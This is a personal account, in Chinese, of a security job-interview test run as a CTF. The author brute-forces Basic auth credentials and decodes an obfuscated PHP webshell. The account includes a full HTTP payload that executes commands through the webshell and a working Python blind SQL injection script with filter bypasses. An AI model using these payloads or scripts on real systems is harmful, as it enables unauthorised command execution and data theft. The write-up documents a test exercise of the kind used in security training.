起因

今年就要毕业了

找工作,成了我现在面临的最大问题

搞不了安全就只能进厂

于是乎,我带上了简历,打开了 Boss 直聘

其中有个 HR 回了我

给了两个域名说是测试题

去做做看先

考核

测试一

开局一个 Basic 身份认证

尝试了下几个常见的弱口令

不行,那就抓个包爆破

发现是以下面这种格式进行认证的

Authorization: Basic YWRtaW46MTIzNDU2

进行 Base64 解码之后是这个样子

Authorization: Basic admin:123456

先尝试用户名不改,爆破 admin 的密码

没爆出来,那就把密码固定为 123456,爆破用户名

爆出来了,是 system / 123456

登陆进去之后,发现是一段代码

<?php
header("content-type:text/html;charset=utf-8");
#show_source('au2c7ts62gs1ush13.php');
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
$____=("t"^":").(":"^"R").(":"^"R").("X"^":");
$x=mt_rand(2012,2022);
$y=mt_rand(1997,2024);
$_____=($x*$y);
echo $_____;
@${$__}[$____](@${$___}[$_____]);
#flag{} into flag.php
?>

看到几个被混淆了的变量的值

直接尝试复制粘贴到本地,然后 echo 一下

<?php
header("content-type:text/html;charset=utf-8");
#show_source('au2c7ts62gs1ush13.php');
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
$____=("t"^":").(":"^"R").(":"^"R").("X"^":");
$x=mt_rand(2012,2022);
$y=mt_rand(1997,2024);
echo $__ . "<br />";
echo $___ . "<br />";
echo $____ . "<br />";
$_____=($x*$y);
echo $_____;
@${$__}[$____](@${$___}[$_____]);
// @$_GET[Nhhb](@$_POST[$_____]);
#flag{} into flag.php
?>

打印出来的结果

所以以下代码实际上是这个样子的

@$_GET[Nhhb](@$_POST[$_____]);

这就是一个 Webshell,但其中 $_____ 是随机数来的

我们没办法直接确定...这时候可以再看下代码

生成随机数的函数是 mt_rand,但没指定 mt_srand

这时候我就在想会不会是在考核伪随机数的不安全性的利用

因为对这块了解的比较少,所以这时候我好好地去百度了下

大体上是说:

使用 mt_srand 指定的 seed 值如果不变的话

那生成的随机数数列也是不变的

即随机数不再随机,而是可以被猜测的

举个例子:

<?php
mt_srand(111);
for($i=0;$i<5;$i++){
    echo mt_rand() . "<br />";
}
?>

其中,使用 mt_rand() 生成的所有随机数的顺序是固定的

也就是说即便这个程序在哪里执行,什么时候执行

我都可以肯定它的结果是

1314625450

259325366

363074538

648087914

936429611

而且下一个随机数一定是

1833750153

最后导致的结果就是伪随机数

即可预测的伪随机数

回到这题

这题是生成了两个特定范围的随机数

然后将它俩进行乘法运算后

当做 POST 传参的变量名

$x=mt_rand(2012,2022);
$y=mt_rand(1997,2024);
$_____=($x*$y);
@$_GET[Nhhb](@$_POST[$_____]);

其中还有要注意的一点

就是我们登陆之后的这个页面路径就是个 /

但那段代码里面有个两个点值得注意下

#show_source('au2c7ts62gs1ush13.php');
echo $_____;

我在那个页面里面只看到了代码,但没有打印任何的数字

我就尝试地去访问了下那个注释的 php 文件

发现是一个 7 位数数字,正好对上了两个 4 位数相乘

所以后面在连 Webshell 构造参数的时候,也要在这个文件那里搞

我一开始的思路,是遍历这个 seed 值

根据这个 seed 值去获取特定的随机数序列

拿这个随机数序列去和服务器生成的随机数序列进行比对

如果生成的随机数序列和服务器的相同

则表示服务器生成随机数使用的 seed 值也是这个

【PS:因为代码中没调用 mt_srand,所以是系统随机生成的,常规来说 mt_srand 会在第一次调用 mt_rand 的时候生成,后面的会沿用第一次调用生成的 seed】

但如果要按这个思路来搞的话,工作量是很大很大的

首先,我得遍历足够数量的 seed 保证系统随机生成的 seed 能被我跑到

其次,生成的随机数序列也得足够大,因为我没办法知道随机数已经被生成了多少次

综合上面这两点,让我觉得这个思路可能会行不通...

那怎么办呢?

我又好好的看了一遍代码...

发现生成的两个随机数的个数其实很少

$x=mt_rand(2012,2022);
$y=mt_rand(1997,2024);

最后取乘积的话,也就只有 29 * 11 = 319 种可能而已

那我只需要取其中一种可能,一直爆破就行...

事实上确实可行

根据之前得到的构造下 Payload

POST /au2c7ts62gs1ush13.php?Nhhb=system HTTP/1.1
Host: v50crazyKfc.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://v50crazyKfc.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Authorization: Basic c3lzdGVtOjEyMzQ1Ng==
Connection: close
Upgrade-Insecure-Requests: 1

4054162=ls

跑出来的结果

接着根据提示去尝试读下 flag.php

这里很尴尬的是我尝试了好多种方法去读,最后都没返回

我还以为是加了啥过滤呢

结果是编码问题,我的空格是 %20 而不是 + 导致没执行到

还有个就是 $a($b) 格式的 Webshell 里面不用加 双引号

就这两点卡住我很久,搞得我能命令执行还读不到 flag...

最后 cat+flag 拿到 flag

测试二

开局一个登录框

尝试了下弱口令,直接进去了

用的是 admin / 123456

进去之后是这个样子的

前端啥也没有,于是乎我进行了一系列的尝试...

目录爆破、扫端口、翻 JS...

后来才发现在一开始的登录页面的前端代码里面有这个东东

那就应该是 SQL 注入了...

又突然发现有个 reg 的按钮之前没按过的

点进去是这个样子的

先尝试下 SQL 注入万能密码先

flag / 'or''='

发现成功登陆了...

而输入错误密码则会返回用户名或密码错误

可以根据这点进行 SQL 盲注

在进行尝试的时候,发现空格被过滤了,所以使用 /**/ 进行绕过

还有 information_schema 库也被过滤了

使用 mysql.innodb_index_stats 来代替下

最后写出下面这个脚本

import requests
i=0
flag=""
host="http://xxxxx/login.php"
while True:
    head=32
    tail=128
    i=i+1
    while head<tail:
        mid=(head+tail)//2
        # print(mid)
        payload={
            "name":"admin", 'password':"'or/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/mysql.innodb_index_stats/**/limit/**/0,1),{0},1))>{1},1,0)#".format(i,mid),
            "submit":"LOGIN"
        }
        res=requests.post(url=host,data=payload)
        if "用户名或密码错误" in res.text:
            tail=mid
        else:
            head=mid+1
    if head!=32:
        flag+=chr(head)
        print(flag)
    else:
        break
print(flag)

跑出来一个表名 gtid_slave_pos

结合上面那条 SQL 语句,我就在猜...

会不会是 flag 用户的密码就是 flag 的值呢?

带着这个表名,还有之前前端那条 SQL 语句的字段名去查

试了很多次,都没能跑出来...不知道为啥

最后还是没做出来...

结果

直接开摆了,跟 HR 说做出了第一题,第二题卡住了

聊了一下,想争取 8-9K 的...

但 HR 说应届生只能给到 6-7K,转正后可以争取

我不大满意,于是这次面试就匆匆结束了

我也开始准备下一场面试了....